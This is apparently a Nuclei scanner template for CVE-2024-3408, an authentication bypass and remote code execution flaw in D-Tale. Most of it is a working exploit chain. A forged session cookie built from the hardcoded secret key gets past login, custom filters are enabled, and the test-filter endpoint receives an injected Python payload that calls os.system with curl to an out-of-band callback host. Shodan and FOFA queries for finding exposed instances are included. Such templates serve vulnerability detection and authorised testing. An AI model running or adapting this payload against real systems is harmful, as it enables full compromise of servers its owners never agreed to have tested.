D-Tale 3.10.0 - 3.15.1 - Authentication Bypass & Remote Code Execution

id: CVE-2024-3408

info:
  name: D-Tale 3.10.0 - 3.15.1 - Authentication Bypass & Remote Code Execution
  author: ohmygod20260203
  severity: critical
  description: |
    man-group/dtale 3.10.0 contains an authentication bypass and remote code execution caused by improper input validation and a hardcoded SECRET_KEY in Flask configuration, letting attackers forge session cookies and execute arbitrary code, exploit requires attacker to access the application.
  impact: |
    Attackers can bypass authentication and execute arbitrary code on the server, leading to full system compromise.
  remediation: |
    Update to the latest version where the vulnerability is fixed or remove hardcoded SECRET_KEY and implement proper input validation.
  reference:
    - https://huntr.com/bounties/57a06666-ff85-4577-af19-f3dfb7b02f91
    - https://github.com/man-group/dtale/commit/32bd6fb4a63de779ff1e51823a456865ea3cbd13
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3408
    cwe-id: CWE-94,CWE-798
    epss-score: 0.91737
    epss-percentile: 0.99701
  metadata:
    verified: true
    max-request: 4
    vendor: man-group
    product: dtale
    shodan-query: title:"D-Tale"
    fofa-query: title="D-Tale"
  tags: cve,cve2024,dtale,rce,auth-bypass,code-injection,man-group,intrusive,vkev

variables:
  session_cookie: "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibnVjbGVpIn0.aYJDsw.w3AZyplKpvDzuqV5CJIsYdRbKYg"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /dtale/popup/upload HTTP/1.1
        Host: {{Hostname}}
        Cookie: session={{session_cookie}}

    matchers-condition: and
    matchers:
      - type: word
        internal: true
        words:
          - "D-Tale"

      - type: status
        internal: true
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'id="version"\s+value="([^"]+)"'

  - raw:
      - |
        POST /dtale/upload HTTP/1.1
        Host: {{Hostname}}
        Cookie: session={{session_cookie}}
        Content-Type: multipart/form-data; boundary=----nucleiboundary

        ------nucleiboundary
        Content-Disposition: form-data; name="test.csv"; filename="test.csv"
        Content-Type: text/csv

        a,b
        1,2
        ------nucleiboundary
        Content-Disposition: form-data; name="header"

        true
        ------nucleiboundary
        Content-Disposition: form-data; name="separatorType"

        comma
        ------nucleiboundary
        Content-Disposition: form-data; name="separator"


        ------nucleiboundary--

    matchers-condition: and
    matchers:
      - type: word
        internal: true
        words:
          - "data_id"
          - "success"
        condition: and

      - type: status
        internal: true
        status:
          - 200

    extractors:
      - type: regex
        name: data_id
        internal: true
        group: 1
        regex:
          - '"data_id"\s*:\s*"?(\d+)"?'

  - raw:
      - |
        GET /dtale/update-settings/{{data_id}}?settings=%7B%22enable_custom_filters%22%3Atrue%7D HTTP/1.1
        Host: {{Hostname}}
        Cookie: session={{session_cookie}}

    matchers-condition: and
    matchers:
      - type: word
        internal: true
        words:
          - '"success"'

      - type: status
        internal: true
        status:
          - 200

  - raw:
      - |
        GET /dtale/test-filter/{{data_id}}?query=%40pd.core.frame.com.builtins.__import__(%27os%27).system(%27curl+{{interactsh-url}}%27)&save=true HTTP/1.1
        Host: {{Hostname}}
        Cookie: session={{session_cookie}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200db82bb9e2362893619fecf4991c559c9417a57c3071e6c8ee92b1095d405c71022100d550409b7e606a9ca96c2bbda06fdd156627317f145f2837983783aa211e38d1:922c64590222798bb761d5b6d8e72950